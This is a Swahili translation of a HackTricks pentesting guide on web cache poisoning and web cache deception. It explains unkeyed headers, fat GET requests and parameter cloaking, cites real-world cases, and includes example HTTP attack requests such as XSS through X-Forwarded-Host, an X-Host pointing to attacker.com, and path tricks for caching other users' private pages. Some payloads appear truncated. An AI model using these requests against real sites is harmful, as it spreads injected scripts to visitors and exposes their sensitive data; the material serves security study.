# Kufyonza Cache na Udanganyifu wa Cache
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za **jamii yenye maendeleo zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Tofauti > **Ni tofauti gani kati ya kufyonza cache ya wavuti na udanganyifu wa cache ya wavuti?** > > * Katika **kufyonza cache ya wavuti**, mkaidi husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa programu. > * Katika **udanganyifu wa cache ya wavuti**, mkaidi husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, na mkaidi kisha anapata maudhui haya kutoka kwenye cache. ## Kufyonza Cache Kufyonza cache inalenga kubadilisha cache upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo si za kawaida, sehemu, au zinazodhibitiwa na mkaidi. Upeo wa athari unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kufyonza cache. Utekelezaji wa shambulio la kufyonza cache unajumuisha hatua kadhaa: 1. **Ugunduzi wa Vipengele Visivyo na Kichwa**: Hivi ni vipengele ambavyo, ingawa sio muhimu kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kufyonza cache. 2. **Kutumia Vipengele Visivyo na Kichwa**: Baada ya kutambua vipengele visivyo na kichwa, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kukiuka majibu ya seva kwa njia inayonufaisha mkaidi. 3. **Kuhakikisha Jibu lililofyonzwa linahifadhiwa kwenye Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayetembelea ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa. ### Ugunduzi: Angalia vichwa vya HTTP Kawaida, wakati jibu limewekwa kwenye cache kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa vipi unapaswa kutilia maanani katika chapisho hili: [**Vichwa vya Cache vya HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Ugunduzi: Vichwa vya Kufyonza makosa Ikiwa unadhani kwamba jibu linawekwa kwenye cache, unaweza kujaribu **kutuma maombi na kichwa kibaya**, ambacho kinapaswa kujibiwa na **msimbo wa hali 400**. Kisha jaribu kupata ombi kawaida na ikiwa **jibu ni msimbo wa hali 400**, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS). Unaweza kupata chaguo zaidi katika: {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} Hata hivyo, kumbuka kwamba **mara kwa mara aina hizi za misimbo ya hali hazihifadhiwi** hivyo jaribio hili linaweza kutokuwa la kuaminika. ### Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichwa Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kufanya **nguvu ya lazima ya vigezo na vichwa** ambavyo vinaweza **kubadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kutumia kichwa `X-Forwarded-For` kuonyesha mteja kupakia skripti kutoka hapo: ```markup ``` ### Kupata jibu baya kutoka kwa seva ya nyuma Pamoja na parameter/header uliojitambulisha, angalia jinsi unavyo **kutakaswa** na **wapi** ina **kuonyeshwa** au kuathiri jibu kutoka kwa kichwa. Je, unaweza kuitumia kwa njia yoyote (kufanya XSS au kupakia nambari ya JS inayodhibitiwa na wewe? kufanya DoS?...) ### Pata jibu lililohifadhiwa Marahisi umetambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** gani ya kutumia na **jinsi** ya **kuitumia**, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kuhitaji kujaribu kwa sekunde kadhaa.\ Kichwa **`X-Cache`** katika jibu linaweza kuwa na manufaa sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati inahifadhiwa.\ Kichwa **`Cache-Control`** pia ni cha kuvutia kujua ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: `Cache-Control: public, max-age=1800`\ Kichwa kingine cha kuvutia ni **`Vary`**. Kichwa hiki mara nyingi hutumiwa kuonyesha vichwa vingine vinavyotibiwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hawana ufunguo. Kwa hivyo, ikiwa mtumiaji anajua `User-Agent` wa muathiriwa anayelengwa, anaweza kudhuru cache kwa watumiaji wanaotumia `User-Agent` maalum huo.\ Kichwa kingine kinachohusiana na cache ni **`Age`**. Inaainisha nyakati kwa sekunde ambazo kitu hicho kimekuwa kwenye cache ya proksi. Unapohifadhi ombi, **kuwa makini na vichwa unavyotumia** kwa sababu baadhi yao wanaweza kutumika kwa njia isiyotarajiwa kama **vichwa vilivyo na ufunguo** na muathiriwa atahitaji kutumia kichwa hicho hicho. Daima **jaribu** Uchafuzi wa Cache na **vivinjari tofauti** kuhakikisha kuwa inafanya kazi. ## Mifano ya Kutumia Vibaya ### Mfano Rahisi Kichwa kama `X-Forwarded-For` kinachoonyeshwa kwenye jibu bila kusafishwa.\ Unaweza kutuma mzigo wa XSS wa msingi na kudhuru cache ili kila mtu anayepata ukurasa atakuwa na XSS: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` _Note kwamba hii itachafua ombi kwa `/en?region=uk` sio kwa `/en`_ ### Kuchafua cache kwa DoS {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} ### Kutumia uchafuzi wa cache ya wavuti kufaidika na udhaifu wa kushughulikia vidakuzi Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kutumia XSS kwa wateja kadhaa wanaopakia jibu la cache lenye nia mbaya. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Tafadhali kumbuka kwamba ikiwa kuki inayoweza kudhuriwa inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanafuta cache. ### Kudanganya cache kwa njia ya upitishaji wa njia ili kuiba funguo ya API [**Hii andika inaeleza**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kawaida kurekebisha URL, ambayo ilifanywa wakati ombi lilipofikia seva ya wavuti. ### Kutumia vichwa vingi kudanganya udhaifu wa sumaku wa wavuti wa sumaku Wakati mwingine utahitaji **kudanganya pembejeo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **urejeleaji wazi** ikiwa unaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** ina **peleka** maombi yote ya **HTTP** kwa HTTPS na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa urejeleaji. Unaweza kudhibiti ukurasa unapoelekezwa na urejeleaji. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` ### Kutumia kichwa cha `Vary` kilichopunguzwa Ikiwa umegundua kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kusoma rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu linabainisha **`User-Agent`**. Kisha, unahitaji kupata njia ya kuchukua User-Agent wa mwathiriwa na kudhuru cache kwa kutumia user agent huyo: ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` ### Fat Get Tuma ombi la GET na ombi katika URL na mwilini. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, yeyote anayepata URL hiyo atatumia kwa kweli parameta kutoka kwa mwili. Kama kasoro aliyopata James Kettle kwenye wavuti ya Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com Content-Type: application/x-www-form-urlencoded Content-Length: 22 report=innocent-victim ``` ### Parameter Cloaking Kwa mfano ni iwezekanavyo kutenganisha **parameta** kwenye seva za ruby kwa kutumia herufi **`;`** badala ya **`&`**. Hii inaweza kutumika kuweka thamani za parameta zisizo na funguo ndani ya zile zenye funguo na kuzitumia vibaya. Maabara ya Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Kutumia HTTP Cache Poisoning kwa kuzitumia HTTP Request Smuggling Jifunze hapa kuhusu jinsi ya kufanya [mashambulizi ya Cache Poisoning kwa kuzitumia HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Upimaji wa Kiotomatiki kwa Web Cache Poisoning [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) inaweza kutumika kufanya upimaji wa kiotomatiki kwa web cache poisoning. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi. Matumizi ya mfano: `wcvs -u mfano.com`
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Mifano ya Kudhaifu ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ATS ilipeleka sehemu ndani ya URL bila kuiondoa na ikazalisha funguo la cache kwa kutumia mwenyeji, njia na swali (ikipuuza sehemu). Kwa hivyo ombi `/#/../?r=javascript:alert(1)` lilipelekwa kwa nyuma kama `/#/../?r=javascript:alert(1)` na funguo la cache halikuwa na mzigo ndani yake, tu mwenyeji, njia na swali. ### GitHub CP-DoS Kutuma thamani mbaya kwenye kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Funguo la cache lilikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee. ### GitLab + GCP CP-DoS GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo ya msingi. **Vikapu vya GCP** vinaiunga mkono **kichwa `x-http-method-override`**. Kwa hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kudanganya cache kurudisha mwili wa jibu tupu. Pia inaweza kuunga mkono njia ya `PURGE`. ### Rack Middleware (Ruby on Rails) Katika maombi ya Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuweka kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, kuna mwelekeo wa 301 kwa eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha `X-forwarded-host` na kuwaongoza watumiaji kwenye mwenyeji ulioelezwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama. ### 403 na Vikapu vya Kuhifadhi Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikivu wa S3 au Blobs za Uhifadhi wa Azure na vichwa vya Uthibitisho visivyo sahihi kungesababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala. ### Kuingiza Parameta Zenye Funguo Makasha mara nyingi hujumuisha parameta maalum za GET katika funguo la cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya `size` katika maombi. Walakini, ikiwa toleo lililofungwa la parameta (k.m., `siz%65`) pia lilipelekwa na thamani isiyo sahihi, funguo la cache lingejengwa kwa kutumia parameta sahihi ya `size`. Walakini, nyuma ingeprocess thamani katika parameta iliyofungwa kwa URL. Kufunga URL ya pili ya parameta ya `size` kuliongoza kwa kutotumika kwake na cache lakini matumizi yake na nyuma. Kutoa thamani ya 0 kwa parameta hii kulileta kosa la ombi la 400 linaloweza kuhifadhiwa. ### Sheria za Wateja wa Mtumiaji Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kudhibiti mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama vile cache poisoning na DoS. ### Uga wa Kichwa Usio Halali [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) inabainisha wahusika halali katika majina ya vichwa. Vichwa vyenye wahusika nje ya safu iliyowekwa ya **tchar** inapaswa kimsingi kuzua jibu la 400 Bad Request. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na wahusika wasio halali na kuhifadhi kosa lolote la 400, mradi tu kichwa cha `cache-control` hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na wahusika wasio halali, kama vile `\`, kulileta kosa la ombi la 400 linaloweza kuhifadhiwa. ### Kupata vichwa vipya [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Udanganyifu wa Cache Lengo la Udanganyifu wa Cache ni kufanya wateja **pakia rasilimali ambazo zitahifadhiwa na cache pamoja na habari zao nyeti**. Kwanza kabisa kumbuka kwamba **nyongeza** kama vile `.css`, `.js`, `.png` n.k. kawaida **imepangwa** kuwa **hifadhiwa** kwenye **cache.** Kwa hivyo, ikiwa unafikia `www.mfano.com/profile.php/nonexistent.js` cache labda itahifadhi jibu kwa sababu inaona nyongeza ya `.js`. Lakini, ikiwa **programu** inarudia na **maudhui nyeti** ya mtumiaji yaliyohifadhiwa katika _www.mfano.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine. Vitu vingine vya kupima: * _www.mfano.com/profile.php/.js_ * _www.mfano.com/profile.php/.css_ * _www.mfano.com/profile.php/test.js_ * _www.mfano.com/profile.php/../test.js_ * _www.mfano.com/profile.php/%2e%2e/test.js_ * _Tumia nyongeza zisizojulikana kama_ `.avif` Mfano mwingine wazi unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Katika mfano huo, imeelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama _http://www.mfano.com/home.php/non-existent.css_ maudhui ya _http://www.mfano.com/home.php_ (**yenye habari nyeti za mtumiaji**) itarudishwa na seva ya cache itahifadhi matokeo.\ Kisha, **mshambuliaji** anaweza kupata _http://www.mfano.com/home.php/non-existent.css_ kwenye kivinjari chao na kuchunguza **habari za siri** za watumiaji waliotembelea hapo awali. Kumbuka kwamba **proksi ya cache** inapaswa kuwa **imepangwa** kuhifadhi faili **kulingana** na **nyongeza** ya faili (_.css_) na sio kulingana na aina ya yaliyomo. Katika mfano _http://www.mfano.com/home.php/non-existent.css_ itakuwa na aina ya yaliyomo ya `text/html` badala ya aina ya mime ya `text/css` (ambayo inatarajiwa kwa faili ya _.css_). Jifunze hapa kuhusu jinsi ya kufanya [mashambulizi ya Udanganyifu wa Cache kwa kuzitumia HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Vifaa vya Kiotomatiki * [**toxicache**](https://github.com/xhzeem/toxicache): Kijalidi cha Golang cha kutambua udhaifu wa sumaku ya cache kwenye orodha ya URL na jaribu njia nyingi za kuingiza. ## Marejeo * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) * [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa urahisi ikiwa na zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.